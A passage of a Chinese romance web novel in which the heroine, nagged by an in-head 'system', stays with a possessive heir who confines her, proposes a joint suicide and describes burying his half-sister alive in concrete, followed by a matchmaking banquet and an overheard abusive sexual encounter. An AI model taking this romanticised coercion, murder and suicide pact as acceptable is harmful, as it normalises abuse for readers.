药水接触到伤口,传来一阵尖锐的刺痛。 “别动。”时卿舟按住她试图缩回的腿,声音很低,“很快就好。” 他的动作很轻,很专注,仿佛在处理一件稀世珍宝。 孟昭月可以看到他低眉时,长长的睫毛。 清理完伤口,他又接过女仆递来的药膏,均匀地涂抹在她的伤处。 做完这一切,他才重新将孟昭月抱了起来。 “去洗个澡。”他说。 “我自己洗。”孟昭月立刻说。 时卿舟看了她一眼,拒绝了她:“我也要洗。” 孟昭月:“……” …… 不久后,卧室里。 孟昭月穿着干净柔软的丝质睡裙,乖乖坐在床边。 时卿舟拿着吹风机,正温柔地帮她吹着头发。 暖风拂过她的头皮,他的手指穿插在她湿润的发间,动作轻柔。 可她一想起刚才在浴室里,时卿舟帮她洗澡的画面,脸就烫得厉害。 变态! 她在心里暗暗骂了一句。 “为什么要逃跑?” 时卿舟低沉的声音,在她头顶响起,伴随着吹风机的“嗡嗡”声。 孟昭月沉默了一下。 “为了追求自由。”她乖巧地回答。 “撒谎。”时卿舟的声音很平淡。 孟昭月撇了撇嘴。 “我要去找小叔。” 吹风机的声音,戛然而止。 孟昭月下意识地缩了缩脖子。 她能感觉到,身后男人的视线,正沉沉地落在她的身上。 “月月,我说过。”时卿舟的声音很平静。 “我会把所有你想要的东西,都拿到你面前。” “也包括你想见的人。” 他顿了顿,手指轻轻抚过她的脸颊。 “我可以安排你和孟廷凛见面,就在这里。” “但是,你不准离开庄园一步。” 孟昭月抿着嘴唇。 她一点都不想见孟廷凛。 她只想和时卿舟待在一起。 垃圾系统不当人。 不对,它本来就不是人。 越想越委屈。 孟昭月忽然转身一把拽住时卿舟,将他狠狠地拽向自己。 时卿舟猝不及防,被她拽得一个踉跄,直接倒在了身后的那张大床上。 下一秒,孟昭月翻身而上,压住了他。 她双手撑在他的胸膛上,俯下身,不管不顾地吻住了他的嘴唇。 时卿舟愣了一瞬。 随即,他反应了过来。 他猛地扣住她的后脑,加深了这个吻,瞬间夺回了所有的主导权。 他的舌尖撬开她的牙关,粗暴地、深入地,纠缠着,吮吸着,像是要把她整个人都吞进肚子里。 空气被掠夺,呼吸变得困难,窒息感和他身上甜腻的气息交织在一起。 “月月……这么乖……” 他在亲吻的间隙,呢喃着她的名字。 声音沙哑、破碎,带着病态的痴迷。 他手上用力,将她死死地往自己身上按。 孟昭月大脑一片空白,只能凭着本能回应着他。 窗外,雨声渐歇。 直到她快喘上气了,时卿舟才稍稍松开她。 孟昭月那双干净的杏眼蒙上了一层水汽,迷离又动人。 她看着身下的男人,看着他那双翻涌着疯狂情欲的眼睛。 “阿卿。” 她开口,声音在安静的卧室里响起。 “我们一起死,好不好?” 第57章 莉莉是谁? 时卿舟安静地看着身上的女孩。 她好像预见了什么,某种不可避免的结局,但是并没有告诉他。 他不知道。 他想起了顾青珩之前说的话。 “只要你缠着她,她一定会出事。” “具体原因不清楚,像是……某种不可抗的神明之力。” 神明吗? 不,他的神明就在眼前。 现在,他的神明在邀请他,和他一起下地狱。 这是何等的……让人愉悦啊。 他感觉他的全身的血液都在战栗。 时卿舟蕴着欲望和渴求的桃花眼里,泛滥出极度欢愉的笑意。 他的唇极大的勾起,像是遇到什么值得狂欢的事一般。 “好啊。” 他的声音带着情欲的沙哑,却是面对恩赐的轻快。 “我们一起死。” “月月,我不知道你遇到了什么,但是我可以承诺……” 时卿舟慢慢抚摸着身上女孩的脸颊,眼中是病态的愉悦和痴迷。 “如果你想死,告诉我,我会用最不痛的方式,杀了你。” “如果你想要我死,你可以用我送你的生日礼物,杀了我。” “但是,我的月月。” “即使死亡,我也不允许你离开。” “你属于我,我会拽着你一起,下地狱。” 孟昭月听到身下男人话语,杏眼里的光一点、一点地被点燃。 像是炸开的烟花一般。 他再一次选择了她。 偏执的,坚定的,明确的。 他在爱着她,如此的深爱她。 “最喜欢阿卿了!” “太好了!我们可以一起死了。” “这样我就什么都不害怕了!” “约定好了,我们一起……下地狱。” 女孩欢呼雀跃,猛地抱住了时卿舟,如同猫儿一样地蹭来蹭去。 系统笼罩在她头顶的阴霾此刻如同完全散去了一般。 孟昭月抬起头眼睛亮亮地看着身下的男人。 “我们来做吧!我喜欢和阿卿做。” 时卿舟闻言,桃花眼中晕染开笑意。 “好。” 屋里的灯光明灭,古旧的熏香味道混杂着暧昧的粘稠。 木床吱呀作响,在昏暗中抵死缠绵。 “阿卿……爱我吗?” “我爱你……” “以后呢。” “也爱你。” “下辈子呢?” “生生世世,直到……永远……” …… 清晨的鸟鸣声打破了宁静。 昨夜暴雨后的晨间,空气格外清新,似乎连屋内粘稠的气息都冲淡了很多。 孟昭月揉着眼睛打了个呵欠,迷迷糊糊地想要起床。 才刚起身,就被人突然一把抱了回去。 背后紧紧贴着对方滚烫坚硬的胸膛。 她眨了眨眼才反应过来,脸颊顿时蒸腾起了红色。 女孩的声音结结巴巴:“阿卿……放,放开……” 时卿舟没有放开她,而是搂紧了怀中的女孩,低头在她的后颈处不断地厮磨着,时不时轻轻地咬一下。 惹得孟昭月一阵轻颤。 时卿舟的声音带着初醒的沙哑:“怎么不多睡一会?” 孟昭月感觉自己像是要烧起来了一样,脸上红得不行,软软的声音带着颤音,像是被欺负了一样:“睡,睡饱了,阿卿你别蹭了……好痒……” 时卿舟轻轻咬了一下她的耳垂,然后就听到怀里女孩轻微的吸气声。 他眼中带着笑意:“睡饱了?看来精神很好。” 然后就听到孟昭月不轻不重的哼了一声,算是同意了他的说法。 时卿舟把怀里的人抱紧了一些:“那就再来一次吧,昨天没吃饱。” 孟昭月睁大了眼睛,连忙回头看向时卿舟。 还没来得及说什么,就被男人翻身压住,堵住了嘴。 …… 中午,餐厅里安静得能听见窗外微风拂过树叶的声音。 长长的餐桌上,女仆正安静地用一套精巧的蟹八件,有条不紊地处理着一只刚蒸好的帝王蟹。 孟昭月裹着一件高领长袖的德绒睡袍,把自己包得严严实实。 她坐在餐桌前,用叉子有一搭没一搭地戳着面前盘子里的鹅肝慕斯。 完完整整的一块,动都没动过。 时卿舟那个家伙,根本不知道什么叫满足。 她哭着求了他好几次,嗓子都哑了,他都没有停下。 现在她浑身都像是散了架,骨头缝里都透着酸软。 很快,孟昭月听到了脚步声,抬头就看到了时卿舟。 他刚洗过澡,身上穿了一件宽松的黑色衬衫,领口的扣子解开了两颗。 “先下去吧。”他对女仆说。 女仆恭敬地行了一礼,无声地退下。 他自然而然地从女仆手中接过了那套纯银的工具。 然后在孟昭月身边的位置坐下,继续着刚才女仆未完成的工作。 “老远就听到你像只小猫一样哼哼唧唧的,”他的声音带着刚沐浴后的慵懒,“是没吃饱吗?” 他侧过头看她,眼睛里带着笑意。 “要不要再喂你一次?” “我在等你一起吃早餐,”孟昭月闷闷地回答,“不对,现在是午餐了。” “我还没吃,当然没吃饱……” 她话说了一半,才反应了过来时卿舟刚刚说的没吃饱是什么意思。 脸颊“轰”的一下就红了。 孟昭月软软地骂了一声:“变态。” 时卿舟轻笑出声,神情无辜。 “我可什么都没说。” 孟昭月轻哼了一声,不再理他,干脆把下巴搁在桌子上,趴着看他剥螃蟹。 男人的手指修长,骨节分明,动作优雅而精准。 银质的小剪刀轻轻一剪,蟹腿应声而断,切口平整。 长长的剔针探入,轻轻一挑,一整条完整的、鲜红的蟹腿肉就被完整地取了出来,没有丝毫破损。 整个过程,安静,专注,像是在完成一件精密的艺术品,而不是处理食材。 不得不承认,他做这种事的时候,别有一番魅力。 还是挺人模狗样的嘛。 孟昭月在心里默默吐槽了一句。 很快,一只白瓷小碟被推到了她面前。 里面晶莹剔透、泛着诱人光泽的蟹肉堆了一座小山。 那是产自白令海峡深处的蓝血帝王蟹,每年只有极短的捕捞期,每一只都价值不菲。 “蟹肉性凉,”时卿舟的声音很温柔,“你的身体不好,少吃一些。” 孟昭月心安理得地叉起一块蟹肉放进嘴里,鲜甜的味道瞬间在味蕾上化开。 真好吃。 她正享受着,脑子里忽然闪过昨天在主楼二楼看到的那扇门。 孟昭月抬起头,随口问了一句。 “莉莉是谁?” 第58章 血肉的腐烂囚牢 时卿舟正在擦拭手指的动作停顿了片刻。 他微微勾起唇角,那双漂亮的桃花眼里晕开一点笑意,像是觉得她问了个很有趣的问题。 “莉莉啊……” 他拖长了音调,似乎是在回忆什么。 然后,他用一种平淡到近乎漠然的语气说。 “她是我父亲的女儿。” 孟昭月愣了一下,反应了一下才反应过来。 父亲的女儿?那不就是……姐妹吗? 为什么要用这么绕来绕去的疏远称呼,而不是直接说是姐姐或者妹妹。 她想起了昨天在主楼二楼,看到的那间公主房。 房门紧闭,蒙着厚厚灰尘,像是被遗弃了很久。 “那……她的房间,怎么看起来,像是很久没人住的?”孟昭月有些疑惑地问。 时卿舟将擦手的毛巾放到了一旁的银质托盘上,很快就有女仆上前,动作安静地换上干净的毛巾。 时卿舟看向孟昭月,他的声音依旧温和。 “很正常,因为她已经死了。” 孟昭月叉起蟹肉的动作停住了。 死了? “是……生病了吗?”她有些不确定地问。 从那间房间的布置来看,莉莉的年纪应该和时卿舟相仿,不该这么早就…… 时卿舟闻言,唇角勾起一个愉悦的弧度。 他的眼神里,透出一种要把纯白的东西染上污秽的、病态的愉悦。 “不是哦。” 他温柔地纠正她,然后用一种讲述今天天气如何的平淡语气,说。 “是我把她浇筑在水泥里才死的。” 孟昭月彻底呆住了。 她的大脑一片空白,甚至无法在第一时间理解这句话的含义。 水泥……浇筑? 时卿舟像是完全没有察觉到她的异样,继续用那种温和的、带着笑意的语调,为她补充着细节。 “我让人挖了一个很深的坑,就在她最喜欢的那片玫瑰花园下面。” “把她绑起来,丢了进去。” “然后,一车一车的水泥,就那么倒了下去。” 他看着孟昭月那双慢慢睁大的、写满不敢置信的眼睛,脸上的笑意更浓了。 “最开始的时候,还能从水泥里听到一些声音,闷闷的,听不太清。” “大概是在哭,也可能是在骂我。” “后来,那个声音就慢慢地、慢慢地……没有了。” “世界一下子就安静了。” 孟昭月怔怔地看着他,一个字都说不出来。 她看着他脸上那副温文尔雅的、甚至带着笑意的表情,一时间竟无法将他和这些血腥的话联系在一起。 他伸手,体贴地抚了抚她的脸颊,仿佛是在安抚一只受惊的孩子。 “宝宝,别害怕。” 他的指尖带着一丝凉意,让她的皮肤一阵战栗。 孟昭月张了张嘴,好半天才找回自己的声音,干涩地问。 “为……什么要这么做?” “原因有很多。” 时卿舟收回手,直起身,淡淡地说,神情坦然。 “可能是因为,她把我母亲的骨灰,从阳台上撒了下去。” “也可能是因为,她从小就很烦人,带着一群人用石头砸我,强迫我吃掉在地上的东西。” “当然……” 他顿了顿,理所当然道:“……最主要的原因,是她的存在,影响我夺权了。” 孟昭月看着他,脑海里忽然闪过一些破碎的片段。 是那天在主楼二楼,她看到的,那本被遗弃在公主房里的日记。 日记本的封皮是粉色的,上面用稚嫩的笔迹写着一行字。 「家里的那条野狗又脏又臭……我把午餐倒在地上让它吃……」 「它流了很多血,但是它活该。」 「我发现野狗有一个很漂亮的盒子……」 「野狗就在我们身后,一动不动地看着,连哭都没有哭一声……」 野狗…… 原来,那本日记里写的“野狗”,就是他。 一股难以言喻的心疼与酸涩,猛地攫住了她的心脏。 阿卿…… 孟昭月猛地站起身,绕过餐桌,在时卿舟错愕的目光中,一把抱住了他。 她将脸埋在他的颈窝,双臂用力地、紧紧地环着他的脖子。 时卿舟的身体,明显僵了一下。 他能感觉到女孩身体的微颤,和隔着衣料传来的、属于她的温暖。 他低下头,看着抱着自己的女孩,随即轻笑出声。 “怎么了?”他抬手,回抱住她,轻轻拍着她的背,“可怜我?” 孟昭月没有说话,只是把他抱得更紧了一些。 时卿舟脸上的笑意更深了。 “没事的。” 时卿舟的声音在她耳边响起,依旧是那么温柔。 “只是听起来可怜而已,我早就习惯了。” 他偏头轻轻吻了吻怀里的女孩。 “宝宝,别害怕我。” “如果我不下手,别的兄弟姐妹也会对她下手。” “比如这个莉莉,她曾经亲手把自己最要好的一个哥哥溺死在庄园的游泳池里。” “当时大家都看着,所有人都在笑,没有人去救他。” “原因很简单,因为所有人的竞争对手都少了一个。” 他抱着她,下巴轻轻抵着她的头顶,目光落在餐厅窗外的花园里。 一只蝴蝶停在了花朵上。 “这就是时家。” “一个用血肉和背叛堆砌起来的、腐烂破败的囚牢,关着一群疯子。” 他低下头,嘴唇贴着她的发顶,声音温柔得像是在说情话。 “你看,月月。” “这个世界一点都不好。” “美丽的东西,只要暴露在外面,就会被觊觎,被算计,被毁掉。” “就像莉莉,就像那只金丝雀。” “也像你。” 他的手臂缓缓收紧,将她整个人都圈进自己的怀里。 “所以,待在我身边,才是最安全的。” “只有我能保护你。” 孟昭月沉默了一会,然后从时卿舟的怀里起身。 时卿舟昂头看着她,桃花眼里满是温柔。 孟昭月撇了撇嘴:“我不会害怕你的,你别老是PUA我。” 时卿舟愣了愣,随即轻声笑了起来。 “对不起,月月。” “毕竟精神控制是作为一个掌权人重要的能力之一,我习惯了。” 他伸手握住了孟昭月的手,放到脸颊上,眷恋地蹭了蹭,发出了满足的喟叹。 “月月呐……我只是不想你离开我。” “你不知道你对我来说意味着什么。” “如果没有你,我会疯的。” 她是他的神明,是他的天。 第59章 总要去见见岳父岳母 孟昭月正感动呢,脑海里那个消失已久的声音毫无征兆地炸开了。 【宿主!】 【我才离开一会儿,你怎么又和这个大反派搞到一起去了?!】 是系统。 那奶声奶气的电音里充满了恨铁不成钢的抓狂。 孟昭月:“……” 她现在一听到这个奶声奶气的声音就觉得脑壳疼。 “你去哪了?” 【成人模式!我被屏蔽了!】 系统听起来委屈极了。 【你和反派天天那啥啥,我都被关小黑屋很久了!】 “这样啊……”孟昭月若有所思地点了点头,不知道在想什么。 确实,昨晚和今天早上它都没什么动静。 【别耽误时间了!】 系统很快又恢复了催命模式。 【赶快逃跑啊!】 【你的任务是攻略男主孟廷凛!】 【不是和反派天天厮混!】 “我跑过了啊。”孟昭月的话理所当然。 “这个庄园到处都是监控、热感应、压力传感器,连只苍蝇都飞不出去,我怎么跑?” “上次不就某位逃跑专家的指导下,然后被抓回去了?” 【……】 【咳咳,总之……那就想办法让他带你出去啊!】 系统觉得自己说得很有道理。 【外面的世界那么大,总不可能还监视得这么密不透风吧?】 孟昭月觉得,以时卿舟的变态程度,外面也一样。 但系统在她脑子里嗡嗡嗡地叫个不停,吵得她头疼。 【快点!快点!跟他提要求!】 孟昭月无奈地叹了口气,抬起头,看向拉着自己手的男人。 她眨眨眼,声音听起来乖巧又带着一丝期待。 “阿卿,马上就是十一国假了,我们可以出去玩吗?” 时卿舟闻言,动作停顿了一下。 那双漂亮的眼睛看向她,凝视了她几秒,像是在审视她话语背后的真实意图。 随即,他笑了。 “当然可以。” 他的回答干脆得让孟昭月有些惊讶。 她还以为要费一番口舌,甚至已经准备好了撒娇打滚的预案。 他不是说不准她离开庄园一步吗? “你想去哪里?”时卿舟问道,语气温柔,满是宠溺。 “我想……去看海。”孟昭月试探着说。 “可以。”时卿舟点头,“四大洋的主要航线上我都有私人岛屿。” “到时候你可以随便挑一座,上面的服务人员和设施都是顶级的。” 孟昭月:“……” 她不甘心,又改口:“那……那去山里玩呢?就种很原始的深山老林。” “也好。”时卿舟依旧点头。 “时家的祖宅就在西南的群山深处。” “占地几百平方公里,保持着古建筑风貌,安保系统是军用级别。” “我们可以去那里住一段时间。” 孟昭月感觉自己的太阳穴在突突直跳:“欧洲呢?” “我在法国卢瓦尔河谷有一座城堡,前几年刚修复好。” “中东?” “阿联酋有个战术勤务组织的训练基地。” 孟昭月咬了咬牙,几乎是从牙缝里挤出几个字。 “那……那我要去南极看企鹅!” “好的。” 时卿舟依旧是温和的微笑。 “南极圈内有寰宇名下的科考站,设备齐全。” “你想待多久都可以。” 孟昭月彻底没话说了。 她趴回桌子上,感觉自己像一只被戳爆了的气球。 世界那么大,可她哪里都去不了。 因为世界的每个角落,似乎都是他的囚笼。 “系统,怎么办?”她在心里绝望地问。 系统用一种故作深沉的语气说:【车到山前必有路……】 “你个半吊子系统!”孟昭月气得想骂人。 就在这时,餐厅门口传来脚步声。 姜玦走了进来。 他走到时卿舟身边,双手递上了一张请帖。 那请帖的封面是上好的宣纸装裱,上面用泥金小楷写着一个“孟”字。 笔锋遒劲,出自当代书法泰斗的手笔。 孟昭月的父亲是格物学会的会长,在整个科教界都有着举足轻重的影响力。 姜玦在时卿舟耳边低声汇报了两句。 时卿舟点了点头,示意他退下。 他修长的手指拆开火漆封缄,抽出了里面的烫金内页。 只扫了一眼,便抬起头,看向趴在桌上装死的孟昭月。 “你母亲举办的家宴,想去吗?” 孟昭月一听到“母亲”和“家宴”这两个词,身体就下意识地僵硬了。 那个所谓的“家”,对她来说,不过一个冰冷冷的名词。 她一点都不想回去。 【机会啊宿主!绝佳的机会!】 系统在她脑海里疯狂尖叫。 【快同意!回了孟家就有机会见到男主了!】 孟昭月:好烦啊这系统。 她抬起头,脸上挤出一个乖巧的笑容。 “想去。” “好。”时卿舟点了点头,随即对候在一旁的姜玦吩咐道,“联系Frédéric,让他带团队过来。” Frédéric是全球顶级的造型师,只为欧洲王室和顶级名流服务,预约至少要提前半年。 孟昭月有些惊讶地看着他,她惊讶的不是Frédéric,而是 “你……为什么会愿意让我回去?” 时卿舟理所当然地笑了笑。 “总要去见见岳父岳母。” 孟昭月:“???” 她的眼睛瞬间瞪圆了。 “什么岳父岳母!你不要瞎讲!我们现在是前男女友的关系!” 时卿舟无辜地眨了眨眼,那双桃花眼里泛着潋滟的水光。 “如果你想成为合法夫妻,我现在马上立刻就可以带你去领证。” 孟昭月:“……” 她气得脸颊鼓鼓的,愤愤道:“不准学我卖萌!” …… 当天晚上。 一辆黑色的防弹改装迈巴赫停在孟家庄园灯火辉煌的主宅门前。 孟昭月坐在车里,磨磨蹭蹭地,就是不想下去。 她是真的不想回家。 车内的气氛很安静,时卿舟就坐在她身旁。 他手上是一本书,但没看,只是耐心地、专注地看着她。 似乎是觉得自己一直拖着不下车有些幼稚,孟昭月转过头,有些奇怪地问他。 “阿卿,你不催我吗?” “我为什么要催你?”时卿舟反问,声音在密闭的空间里显得格外清晰,“你想做什么就做什么,只要一直在我身边就行。” 他的话语很温柔,却像是一根无形的线,缠绕着她。 孟昭月抿了抿嘴唇,心里涌上一股难言的酸涩。 明明她和阿卿的感情这么好。 偏偏因为什么乱七八糟的女配、女主,不能好好在一起。 真是叫人生气。 就在这时,时卿舟像是忽然想起了什么。 他放下书,从西装内袋里,抽出了一张折叠起来的小纸条,递到了她的面前。 孟昭月看着那张皱巴巴的纸条,脸上表情一僵。 那是她下午做造型的时候,趁着造型师团队人多手杂,偷偷塞给其中一个助理的求助纸条。 上面只有潦草的一行字。 “救我。” 第60章 宿主!他是你未来的老公! “阿卿你听我解释……”孟昭月心虚地笑了笑。 她的心在吐槽。 “我就说那个造型师团队肯定是阿卿的人!” “系统你还非要我试!” “现在好了,人赃并获!” 系统只发出一串滋啦的微弱电流声,然后彻底装死。 孟昭月:“……” 时卿舟看着她脸上那副快要哭出来的表情,把纸条收了,只是温和地笑了笑。 “别害怕,月月。” 他从车座的暗格里,取出一个丝绒盒子。 盒子打开,里面静静躺着一条手链。 链身由铂金编织而成,嵌着数十颗大小一致的粉钻。 在车内昏暗的灯光下,璀璨夺目。 “拍卖会上看到的,今年的标王。” 时卿舟的语气很平淡,像是在说一件寻常小物。 “阿斯盖尔矿区绝矿前产出的最后一批‘天使之泪’,一共只有三十六颗,全在这里了。” 他拿出手链,抬眼看向孟昭月。 “手。” 他的声音很轻,却带着某种压迫感。 孟昭月连忙乖乖伸出自己的左手。 见她配合,时卿舟心情不错。 他执起她的手腕,将那条链子搭了上去。 尺寸正好,是为她量身定做。 “不用担心。” 他一边扣上精巧的暗扣,一边用安抚的口吻说。 “那个助理已经被处理掉了。” “以后记住,月月,你在这里能看到、能接触到的大多数人,都是我的人。” “我一直都在保护你。” 他说完,低下头,在手链旁,轻轻吻了一下她的手腕。 目光痴迷,近乎虔诚。 “我的月月……真漂亮……” 他的指尖,若即若离地,沿着她手腕上那道淡青色的血管,缓缓向上掠过。 孟昭月身体抖了抖,只觉得车内那股甜腻的气息越来越浓,几乎要将她溺毙。 她脸色通红,猛地抽出自己的手,慌不择路地推开车门。 “家……家宴要开始了!我们快走吧。” 她几乎是逃一般地跑下了车。 身后传来时卿舟一声低沉的轻笑。 …… 孟家庄园。 灯火通明,女仆端着银盘忙碌地在草坪和回廊间穿梭。 孟昭月有些不解:“为什么……孟家的家宴会邀请你?” 都是家宴了,怎么邀请一个外人? “不止邀请了我。” 时卿舟走到她身边,很自然地伸手揽住她的腰。 “还有其他人。” 孟昭月更不解了:“其他人?” 话音刚落,主宅那扇厚重的雕花木门被人从内打开。 温暖明亮的光线倾泻而出,也照亮了门厅里站着的一众身影。 孟昭月看过去,只见到一张张陌生的、年轻英俊的面孔。 他们个个西装革履,气质出众,正端着酒杯三三两两地交谈着。 “这些人……”她愣住了。 “城建集团的二公子,海关总署副署长的侄子,还有那个,是最高法院大法官的孙子。” 时卿舟在她耳边,语气平淡地逐个介绍。 “都是些家族里没什么实权的二线人物,被推出来联姻用的。” 孟昭月彻底呆住了。 这哪是家宴,这分明是相亲大会。 “他们都……”孟昭月懵了。 时卿舟的唇角勾起,他在她耳边,用只有两人能听到的声音道。 “都将是我的手下败将。” 两人正说着,孟崇山和江慧从人群中看到了孟昭月。 是孟昭月的父亲和母亲。 一个温文尔雅,一个气质如兰,满是书香气息。 孟崇山正侧耳听着身边一位大学校长模样的中年男人恭维着什么。 “……所以这次的青藤排名指数,还要多多拜托孟会长您……” 看到门口的孟昭月和她身边的时卿舟,夫妻二人脸上的得体笑容,明显淡了许多。 尤其是江慧,她的眼神里甚至掠过一丝不易察觉的厌恶。 “时总,许久不见。”孟崇山最先反应过来,他主动伸出手,脸上挂着公式化的笑容。 时卿舟礼貌地与他交握:“孟会长。” “昭月也回来了。”孟崇山这才将目光转向自己的女儿。 那眼神称不上关切,更像是在审视一件物品。 他不问她去了哪里,也不问她过得好不好。 “爸爸、妈妈。”孟昭月乖巧地打招呼。 她扫了一圈,不知道为什么没看到孟廷凛和孟婉凝。 江慧则直接得多,她看都没看时卿舟一眼,径直将孟昭月拉走。 “昭月,你跟我来一下。” 她的声音压得很低,警告意味十足。 “我们孟家是清流世家,最重名声。” “什么人该来往,什么人不该来往,你自己心里要有数。” “别把那些不干不净的关系带回家里来。” 孟家,尤其是江慧,历来不喜欢时卿舟这种身世“不清白”的人。 孟昭月乖巧地点头:“好的,妈妈。” 江慧拉着孟昭月走向大厅的另一侧。 “来,昭月,我给你介绍一下。” 她带着孟昭月走到一个年轻男人面前。 那男人约莫二十多岁,穿着一身剪裁合体的深灰色西装,面容英俊,气质中带着几分漫不经心的疏懒。 但此刻在长辈面前,他将那份疏懒掩饰得很好,显得温文尔雅。 “这是你淮安表哥,江淮安。” 江慧的脸上重新堆起温和的笑容。 “现在是C国国家通商银行的副行长,年轻有为。” 江淮安那双微微上挑的眼睛朝孟昭月看了过来,目光在她身上不着痕迹地打量了一圈,然后才露出一个礼貌的微笑。 “昭月妹妹,你好。” “你好。”孟昭月也礼貌地回应。 就在这时,脑海里那个装死已久的系统,突然地激动的叫起来。 【宿主!就是他!他就是你未来的老公!】 孟昭月:“?” 她眨了眨眼。 等一下。 她刚刚,好像听到了什么不得了的话。 第61章 我和月月的婚事就这样决定吧 孟昭月的大脑宕机了零点零一秒。 老公? 谁的老公? 【就是他!江淮安!】 系统的电音在她脑子里兴奋地道。 【根据剧情,孟家为了利益,会安排你和江家联姻!】 【江淮安就是你的联姻对象!】 【他会对你特别好!】 【就算你天天作死去纠缠男主孟廷凛,他也对你不离不弃】 【默默在你身后为你收拾烂摊子,提供各种帮助!】 【后来你死不悔改,他才彻底失望,和你离婚!】 【超深情的。】 孟昭月眨了眨眼睛,看着面前笑得一脸温文尔雅的江淮安,默默地撇了撇嘴。 深情? 她怎么看着不像呢。 这人一双眼睛微微上挑,眼尾带着钩子似的。 看人的时候像是刮人一样,嘴角的笑意也假得很,一看就是个混迹花丛的老手。 就他?能忍受他老婆作天作地去追别的男人? 骗鬼呢。 “淮安啊,你们年轻人多聊聊,我跟你孟伯伯去那边打个招呼。” 江慧笑意盈盈地拍了拍孟昭月的手,找了个借口就走开了,临走前看了孟昭月一眼。 优雅温和,却警告意味浓厚。 一时间周围只剩下孟昭月和江淮安两个人。 气氛瞬间有些尴尬。 “昭月妹妹在孟家住得可还习惯?”江淮安主动开口,打破了沉默。 他端着香槟,身体微微前倾,饶有兴致地盯着孟昭月。 “听姑妈说,你在外面很多年了。” 孟昭月捏着果汁杯,乖巧地点头:“嗯。” 她实在没什么心情应付这个所谓的“未来老公”。 “姑妈确实严了一些,但是也是为了晚辈好。”江淮安继续找着话题,那双狐狸眼却在她精致的锁骨上流连。 “还行吧。”孟昭月心不在焉地回答。 她正想着要怎么脱身,一道力道忽然从腰间传来。 下一秒,她整个人就被揽进了一个熟悉的、带着甜香气息的怀抱。 时卿舟不知何时走了过来,手臂自然地环住她的细腰,将她整个人都圈在了自己的领域里。 他对着江淮安露出了一个温和有礼的微笑,黑色的眸子却淡淡地落在对方身上。 “江副行长,你好。” 江淮安没想到突然有人插进来,愣了愣,但很快又勾起唇。 他举起手中的酒杯,朝时卿舟示意了一下,姿态随意,带着几分不易察觉的挑衅。 “时总,久仰大名。” 两个男人目光在空中交汇。 “没想到时总和昭月妹妹也认识。”江淮安的视线落在时卿舟揽着孟昭月的手上,意有所指。 “何止认识。”时卿舟轻笑一声,低头亲昵地蹭了蹭孟昭月的脸颊,语气宠溺,“我们家月月,脸皮薄,怕生。有不周到的地方,还请江副行长见谅。” 见两人亲密,江淮安扯了扯嘴角。 不远处,江慧看到这一幕,脸色瞬间就沉了下来,正要上前。 孟崇山一把拉住了她:“你干什么去?” “你没看到时家那个过去了吗?淮安还在那儿呢,这像什么样子!”江慧神色不愉。 孟崇山却只是摇了摇头,脸色凝重地看着时卿舟的方向。 “别去惹他。” 他刚刚和时卿舟单独聊了几句。 那个年轻人,笑着对他说了一号法案的事情。 赤裸裸的威胁。 …… 家宴进展得还算顺利,至少表面上是。 时卿舟被几个人围住,正谈着什么,似乎暂时顾不上孟昭月。 【宿主!快走!就是现在!】 系统在她脑海里疯狂催促。 【他被绊住了!这是你逃跑的绝佳机会!】 孟昭月看了一眼被人群簇拥着的时卿舟,总觉得事情没那么简单。 以那个变态的控制欲,会这么轻易地让她脱离自己的视线? 但系统的电音吵得她脑仁疼,她只能硬着头皮,端着一杯果汁,装作要去花园透气的样子,悄悄从宴会厅的偏门溜了出去。 夜风微凉,带着花草的香气。 孟昭月提着裙摆,快步穿过草坪,朝着庄园大门的方向走去。 然而,刚走到能看见大门的地方,她的脚步就猛地顿住了。 只见庄园铁门外不远处的阴影里,站着四五个黑衣保镖。 而他们的头子正靠在一辆黑色的越野车上。 是秦御,时卿舟的手下。 孟昭月的神情一僵。 她说什么来着。 “系统,怎么办?”她在心里没好气地问。 【……】系统卡壳了。 过了几秒,它才自信地开口。 【别怕!】 【我给你规划了新路线!】 【从花园的西侧的墙,那边有个狗洞!】 孟昭月:“……” 钻狗洞? 她低头看了看自己身上这件高定礼服,和脚上那双镶满碎钻的高跟鞋,感觉一阵无语。 但眼下似乎也没有别的办法了。 她叹了口气,认命地转身朝着花园深处走去。 花园深处很安静,只有虫鸣声。 孟昭月绕过一片玫瑰花丛,正准备按照系统的指示寻找狗洞,忽然听到不远处的花房里传来说话声。 是一个女人的声音,带着娇媚的笑意。 “你这样……就不怕那位孟小姐知道呀?” “她?”一个男人的声音传来,不屑地轻哼一声。 “就她那清汤寡水的样子,看着就没味道。” “我还是喜欢你这种,够骚。” 然后是女人一阵银铃般的笑声。 孟昭月的心猛地一跳,连忙钻进旁边的花房里躲了起来。 那声音越来越近,显然是朝着花房这边来的。 她扫了眼周围,一眼就看到了墙角立着的一个木质储物柜。 她想也没想就拉开柜门钻了进去,然后迅速关上。 柜子里一片漆黑,弥漫着泥土和陈腐木料的气味,一点光都看不见。 几乎是她刚藏好,花房的门就被推开了。 接着,就是一阵急切的亲吻声,女人的娇喘和男人粗重的呼吸交织在一起。 布料摩擦的声音,暧昧的水声,还有撞击在花架上的闷响。 孟昭月蹲在柜子里,大气都不敢出。 她听着外面的动静,脸颊烫得能煎鸡蛋。 那个男人的声音…… 孟昭月觉得有些耳熟。 好像是江淮安。 孟昭月:“……” 啧,这是看上现场直播了。 不知过了多久后。 孟昭月蹲在里面,小小的缩成一团,腿都麻了。 外面的动静简直是马拉松级别的,没完没了。 她听着那愈演愈烈的声音,忍不住在心里嘀咕。 “这些人……怎么都这么夸张啊……” “这个江淮安是这样,阿卿也是……” “不知道累吗?” 一想到时卿舟,孟昭月的脸更红了。 那个家伙折腾起人来,比这有过之而无不及,花样百出,精力旺盛得不像人类。 【宿主,你以后结婚可有福了!】系统的奶音突然冒了出来,语气里满是羡慕。 孟昭月:“……” 结婚结婚的,听起来好烦呐。 她才不会这种东西结婚的,好晦气啊。 就在她准备回怼系统的时候,外面的声音突然变了调。 原本娇媚入骨的声音,变成了压抑的、带着哭腔的求饶。 “先生……别打了……疼……” “求您了。” 紧接着,就是某些不可描述的声音,和侮辱性极强词语。 孟昭月还以为是什么暴力现场,反应了一下,才反应过来发生了什么。 哇,玩这么花? 但是听着女人的惨叫,她下意识地抱紧了自己。 这已经不是正常的情趣了,这是虐待。 好像有点可怕。 孟昭月越听越觉得心惊胆战。 这福气可真是要不了一点。 …… 与此同时,宴会厅内。 时卿舟正端着一杯清茶,坐在沙发上,温和地和孟崇山夫妇说着什么。 对面的孟崇山表情有些不好,但还是听着,维持这表面的得体。 而江慧则是彻底冷了脸色,直接把茶杯重重放到了桌子上。 这时一个年轻男人,小心翼翼地凑了过来,正是海关总署副署长的侄子李瑞。 